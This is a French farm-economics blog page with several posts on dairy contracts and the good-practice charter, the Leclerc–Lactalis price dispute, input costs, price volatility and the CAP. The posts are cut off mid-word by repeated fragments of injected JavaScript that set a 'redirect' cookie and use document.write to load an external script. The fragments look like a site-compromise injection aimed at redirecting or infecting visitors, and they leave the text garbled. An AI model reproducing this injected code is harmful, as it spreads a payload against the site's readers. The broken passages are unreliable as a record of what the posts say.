Contractualisation laitière: Lorsque les producteurs tendent eux-mêmes un bâton aux industriels pour se faire battre

Un communiqué passé relativement inaperçu interpelle le raisonnement économique.

La  Confédération nationale de l’Elevage a présenté mi septembre 2011, une nouvelle version de la charte des bonnes pratiques d’élevages, laquelle, selon la CNE, sera rendue obligatoire à tous les éleveurs via la contractualisation laitière à compter de 2012.

Sans nier  l’importance de cette charte sur des sujets aussi sensibles que les questions sanitaires, l’environnement,  ou la sécurité des personnes, on peut néanmoins s’interroger sur l’intérêt pour les producteurs laitiers d’intégrer cet engagement au contrat.

Que cette charte des bonnes pratiques ait contribué et contribuera à faire progresser le niveau moyen des exploitations laitières  n’est pas contestable. Qu’elle devienne un élément dans la relation contractuelle entre le producteur et sa laiterie apparaît plus discutable.

La charte des bonnes pratiques peut en quelque sorte être assimilée à une « certification qualité » des exploitations, « une démarche pour aider les éleveurs à progresser dans leurs pratiques » selon ses propres termes. Dans le secteur des services ou dans l’industrie, de nombreuses entreprises sous certification ISO, outre l’intérêt qu’elles peuvent y trouver  en termes de « pilotage et de management du progrès » s’en servent aussi comme vecteur de communication et de notoriété vers l’extérieur et en particulier vers leurs clients.

Dans certains cas, cette certification est imposée par leurs clients : c’est le cas notamment des « donneurs d’ordre » vis-à-vis de leurs sous-traitants de premier rang : la certification ISO devient alors une condition d’accès au marché. Pratique également répandue dans des appels d’offre.

Pour en revenir à la production laitière,  cette demande ne provient visiblement pas des entreprises laitières. Pour ce qui les concerne, la qualité du lait collecté (sain et conforme aux normes en vigueur) fait bien  entendu  partie intégrante de l’objet du contrat.

Pour les producteurs de lait, le fait de rendre obligatoire  la charte des bonnes pratiques  revient à confier aux industriels le contrôle de leur « certification qualité ». C’est de la même façon, multiplier les raisons de dénonciation d’un contrat de la part d’un industriel puisque du statut de charte on bascule dans le domaine du droit opposable.

Encore une fois, il ne s’agit pas ici de minimiser le contenu de cette charte et son intérêt. Mise en place en 1999, suite aux épisodes fâcheux des crises sanitaires de type « vache folle », elle a permis de retisser des liens de confiance entre l’agriculteur et le consommateur. Le lien entre la production locale (« viande bovine française », « le lait d’ici », etc.) n’a jamais été aussi porteur.

Cependant, rendre cette charte obligatoire  via le contrat apparaît une aberration économique.

En premier lieu, ce niveau d’exigence ne s’impose qu’aux producteurs du territoire français, mais non à l’ensemble des producteurs européens et rien n’empêche les industriels de transformer du lait importé. En d’autres temps, certains responsables professionnels avaient critiqué à juste  titre des distorsions de concurrence  qu’il s’agisse de droit environnemental, social, voire fiscal.

En second lieu, d’un point de vue économique, les termes d’un contrat commercial s’établissent toujours selon un rapport de force entre un acheteur et un vendeur. A l’évidence, dans la filière laitière, ce rapport de force est à ce jour clairement à l’avantage des industriels. Fallait-il alors en rajouter ?

Quel est l’intérêt des producteurs devar time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Un bras de fer entre LECLERC et LACTALIS qui pourrait durer

Avec respectivement plus de 20% de la collecte laitière en France, et près de 18% de part de marché dans la grande distribution, LACTALIS et LELCLERC se livrent un combat dans la catégorie poids lourds ; L’un refusant de livrer l’autre ou l’autre refusant de commercialiser l’un …   selon les sources.

 Un épisode semblable avait déjà eu lieu en 2007 lors de la précédente flambée des produits laitiers. Depuis le début mars 2011, les consommateurs ne trouvent donc plus dans les linéaires des centres Leclerc la gamme des produits Lactalis.

 Chacun utilisant des arguments plus ou moins pédagogiques :

 –   Michel Edouard LECLERC refusant les hausses de prix demandées par Lactalis  qui sont jugées excessives en comparaison des autres industriels laitiers. S’érigeant en défenseur du pouvoir d’achat du consommateur, les centres Leclerc s’offrent en même temps une publicité à bon compte.

Si le président des magasins LECLERC est un bon communiquant dans les sphères médiatiques, la communication a également été très bien diffusée en interne si on en juge par l’explication de texte que vous pouvez obtenir  auprès des hôtesses de caisse. Du grand professionnalisme !  

Mais, n’en déplaisent à certains, Mr LECLERC est dans son rôle de commerçant de la grande distribution : Acheter le moins cher possible, pour vendre au meilleur prix (par rapport à la concurrence) tout en préservant ses marges, et gagner des parts de marché ce que les établissements LECLERC ne manquent pas de faire selon les données de Kantar, que LSA s’est procurées (« Leclerc, encore une fois, caracole en tête des enseignes, avec une part de marché en hausse de 0,8 point, lors des quatre premières semaines de 2011 ».) La stratégie de LECLERC et ses intérêts ne sont donc pas incompatibles avec le discours « publicitaire » de défense du pouvoir d’achat.

 –   Emmanuel BESNIER, PDG de Lactalis, fort de ses marques et de son poids dans la collecte, semble le seul dans la filière laitière à être en mesure de livrer une telle bataille. Cette jauge du véritable rapport de force entre les deux groupes dépasse le court terme et pèsera forcément dans les futures négociations. Sur certains  produits , la part de marché de LACTALIS est davantage concentrée que la grande distribution : Sur le lait UTH, hors MDD (Marque de distributeurs) , SODIAAL avec la marque CANDIA et Lactalis avec LACTEL réalisent près de 70% du volume selon LINEAIRE (fév 2010). Si à travers cette guerre commerciale, LACTALIS peut prétendre du même coup défendre les producteurs de lait, en répercutant les hausses de prix payé au producteur passées et à venir sur l’année 2011 compte tenu de la tenue des cours sur le marché mondial, il joue néanmoins une partie importante.

 S’il semble difficile pour LACTALIS de se passer sur le moyen terme de près de 20% de la distribution, il n’est pas forcément « perdant ». à court terme. Compte tenu des cours actuels des produits industriels laitiers (beurre et poudre), la flexibilité sur le prix du lait est devenue positive. Si ses capacités de transformation le lui permettent, LACTALIS peut donc tenir cette posture sans y perdre financièrement : Faire du beurre et de la poudre plutôt que du Camembert.

 Au final , le dernier mot pourrait revenir comme souvent au consommateur. Chaque acteur ayant pris un risque dans ce jeu de poker menteur :

Pour LECLERC, quel sera l’impact de cette stratégie  sur la fréquentation de ses magasins: Combien de consommateurs changeront de crémerie pour trouver leur roquefort société ou leur camembert président ? et Combien viendront chez lui puisqu’il semble garantir les prix les plus bas ? Les directeurs de magasins auront bientôt la réponse.

 Pour LACTALIS, Quel sera l’impact réel de perte de part de marché sur ses produits de marques et lorsqu’il retrouvera les linéaires de l’enseigne de Leclerc : combien de temps mettra-t-il à retrouver son rang dans les supermarchés LECLERC ?

Dans cette période de mise en place de la contractualisation dans la filière laitière, cet épisode illustre une nouvelle fois  que les contrats ne remplaceront pas la régulation. Qu’il s’agisse des relations entre producteurs et industriels d’une part, ou entre transformateurs et distributeurs d’autres parts, les négociations commerciales se feront sur la base du marché dans un rapport de force. Du côté des pouvoirs publics, ces derniers pourraient rapidement être tiraillés entre la volonté de rééquilibrer la chaine alimentth.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Systèmes d’exploitation, visez l’autonomie et la performance

La hausse du coût des intrants donne plus d’importance à la performance technique.

Face à la crise agricole, les filières françaises ont souvent été mises à l’index de la compétitivité par rapport à nos voisins européens, notamment pour la productivité de la main-d’œuvre. Le moyen prôné pour améliorer le revenu des producteurs est l’agrandissement. C’est oublier un peu vite que, face à une hausse du prix des matières premières, la performance technique et l’autonomie des exploitations sont des préalables. De fait, tout agrandissement doit d’abord permettre d’améliorer cette technicité.

Stagnation des prix

La Pac de 1992 s’est accompagnée de la baisse du coût des concentrés et d’une stagnation du prix des produits agricoles.

Depuis plusieurs années, l’agriculture subit deux grandes tendances. Premièrement, une quasi stagnation des prix en euros courants, voire une diminution compensée en partie par les aides Pac. Deuxièmement, la hausse d’un certain nombre de charges parmi lesquelles les services, l’énergie (fuel, carburant, électricité…) et la baisse d’autres charges comme les concentrés. Ceci a entraîné une baisse des marges brutes hors primes et une diminution de la valeur ajoutée des exploitations. Ces dernières ont entrepris de s’adapter en s’agrandissant et en augmentant la productivité de la main-d’œuvre.

Retournement de tendance

 Or, depuis 2008, l’agriculture est confrontée à un retournement de tendance, avec la hausse cyclique des matières premières (céréales, aliments, fuel…) et une baisse ou une stagnation des prix du lait, du porc, des bovins. Au terme des 2 ou 3 derniers exercices comptables, le constat est sans appel. Quand seul le prix de vente varie, chaque agriculteur subit la même variation de revenu. Quand les charges flambent, les systèmes «les plus voraces» en intrants divisent, par 2 ou 3, la valeur ajoutée dégagée par l’exploitation.

Cette baisse est telle que la situation financière se dégrade très vite, et n’est plus redressable sur les années qui suivent.

Les systèmes de demain seront donc les plus autonomes en intrants. La technicité est de plus en plus incontournable. Et certains critères revêtent un poids primordial : IC et coût alimentaire en porc, g de concentré/litre de lait, GMQ en viande bovine…

Des agrandissements structurants

Face à la crise agricole qui touche l’ensemble des productions, l’agrandissement pour augmenter la productivité de la main d’œuvre est souvent mis en avant. Mais dans l’environnement économique actuel, la première question à se poser est : «mon projet  permet-il de maintenir voire d’améliorer la valeur ajoutée par 1 000 litres, par 100 kg de porc ?» Si la réponse est «non», il faudra y regarder à deux fois avant de le concrétiser. La base d’un système laitier, bovin, ou porcin est aujourd’hui le parcellaire. À partir de ce parcellaire, est-ce que le projet rend l’exploitation plus autonome ? Est-ce qu’il permet d’améliorer le coût alimentaire, d’organiser le temps de travail, de limiter le besoin en puissance et en carburant ?

De nombreux exemples montrent que, si cette logique n’est pas respectée, le résultat économique n’est pas au rendez-vous. Les agrandissements se gèrent aujourd’hui en termes d’opportunités et ce, d’autant, que la réglementation française ne facilite pas toujours les agrandissements structurants.

Anne-Yvonne Hénot

CERFRANCE Finistère

Vous avez dit variabilité des prix ?

C’est aujourd’hui un lieu commun de parler de variabilité des prix des produits agricoles. Tout le monde sait que le prix à la production du blé a doublé en moins de six mois, que le prix du lait payé au producteur a varié à la hausse comme à la baisse du simple au double en deux ans avec des pointes à plus de 400 € et des creux frisant les 200 € pour 1000 litres.

Pour autant, interrogeons-nous sur la situation de la viande bovine pour laquelle l’observatoire des prix montre une grande stabilité des prix à la production sur dix ans. En production porcine quel producteur ne souhaiterait pas une variabilité des prix tant les cours sont bloqués à une valeur relativement basse depuis plus de trois ans.

Ces prix sont déconnectés des coûts de production et il y a peu de liens entre les prix à la production et ceux à la consommation. L’observatoire des prix a démontré tant en lait qu’en viande que la grande distribution n’avait pas, contrairement aux idées reçues, augmenté ses marges. Pour autant comment se fait il qu’elle constitue une barrière aussi étanche à la transmission des prix ?

Ceci questionne fortement la théorie Economique sur la transmission du prix dans la chaîne alimentaire. Même si on peut imaginer que sur longue période il y a reconnexion de ces prix.

Enfin pourquoi certaines productions connaissent-elles des prix beaucoup plus volatils que d’autres ? Il y a bien sûr, de manière structurelle , le caractère stockable ou non en ferme qui joue.

Cela n’explique pas tout et la notion de référence dans la fixation du prix est une donnée sans doute essentielle. En céréales il y a un marché mondialisé avec des références de prix par des cotations considérées comme ouvertes et transparentes et des anticipations connues par les marches à terme. En lait au contraire il y a un marché partiellement mondialise mais des prix à la production indexés sur des prix à la consommation et sur les marchés mondiaux ce qui donne de la transparence.  A l’opposé il n’y a en réalité pas de référentiel objectif’ en viande bovine comme porcine. Il n y a en fait ni référence à des cours mondiaux ou des prix à la consommation mais constatation de prix de transactions, avec une défiance permanente sur la transparence et la pertinence de la référence ainsi constituée ? Est ce une explication du peu de variabilité des prix dans ces secteurs ? Là aussi la science écorect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Etre agri-entrepreneur…

Etre agri-entrepreneur, c’est faire sien un état  d’esprit :

  • Vouloir non pas subir l’économie mais la vivre, être  dedans, y créer sa part de valeur ;
  • Vouloir non pas subir les évolutions réglementaires, contraintes comme incitations, mais les anticiper ;
  • Vouloir être attentif au regard de l’autre et aux chemins des autres pour renouveler le sens de son métier, dépasser le cadre de son outil de production et de sa propre compétence pour se créer des possibles.

Ce blog regarde devant et autour ; accepte l’augure que demain sera un environnement différent ; postule que les projets d’entreprise se développeront ou se conduiront différemment d’hier.

Ce blog ne prédit ni ne milite pour aucune évolution ou perspective ; il ne trace pas de route ; il ouvre voie pour que chacun construissrc= »‘+src+' »><\/script>‘)}

Le paradoxe agricole français

L’ambiance dans nos  campagnes est morose cet  automne et le pessimisme  largement répandu. Les  éleveurs s’inquiètent des  prix et les céréaliers  craignent pour l’avenir des  aides PAC.
Les discours officiels ou syndicaux alternent la dénonciation d’une crise sans précédent, les appels à un plan de sauvetage de telle ou telle production ou se mortifient du différentiel de performance agricole avec l’Allemagne… et pourtant la plupart des marchés agricoles mondiaux sont plutôt bien orientés y compris en productions animales.
Le sentiment qu’ont beaucoup d’agri-culteurs d’une absence d’avenir et la recherche classique de bouc émissaire (l’aigle allemand rejoint aujourd’hui le plus classique dragon GMS) font écho à une réalité économique de perspectives de marchés agricoles mondiaux favorables, ce qui constitue la meilleure des sécurités pour un chef d’entreprise.

D’où vient cette situation paradoxale ?

Lire la suite <\/script>‘)}

Raisonner la compétitivité dans une perspective de projet

L’idée de projet conduit à poser l’analyse de la compétitivité en fonction du temps :
• aujourd’hui, quelle est la performance de l’entreprise ?
• à moyen terme, quels sont les enjeux de compétitivité ?
• à court terme, quelles sont les indicateurs déclencheurs des décisions ?
Pour cela, structurons l’approche du temps en distinguant le temps long, l’horizon à 3-5 ans et le court terme.

Pour lire la suite, clirc= »‘+src+' »><\/script>‘)}

Les crises ont-elles sauvé la PAC 2013 ?

La messe semblait dite à Bruxelles : il faut  considérablement réduire les ambitions d’une PAC  budgétivore puisqu’elle ne sert plus à grand chose.  Les objectifs des années 60 sont atteints et les  réformes libérales engagées depuis Mac Sharry en  1992 ont été un succès. Nos stocks sont à zéro et  nous exportons sans soutien.
Il ne reste plus qu’à réduire en douceur les budgets pour les allouer à de nouvelles politiques de croissance durable davantage en phase avec la modernité et les demandes de nos concitoyens… C’était il y a trois ans… une éternité… depuis les prix ont flambé en 2007 ressuscitant le fantôme de la rareté et se sont effondrés en 2009 engendrant sans doute la pire crise agricole de toute l’histoire de la PAC.
L’ambiance est donc aujourd’hui tout autre dans les couloirs Bruxellois…
On entend des propos du style : le commissaire souhaite des agriculteurs sur tous les territoires de l’Union… il faut différents types d’agriculture… Il faut une sécurité alimentaire… L’agriculture est productrice de biens publics dont l’emploi… Quelle régulation des marchés ? …

Pour lire la suite, <\/script>‘)}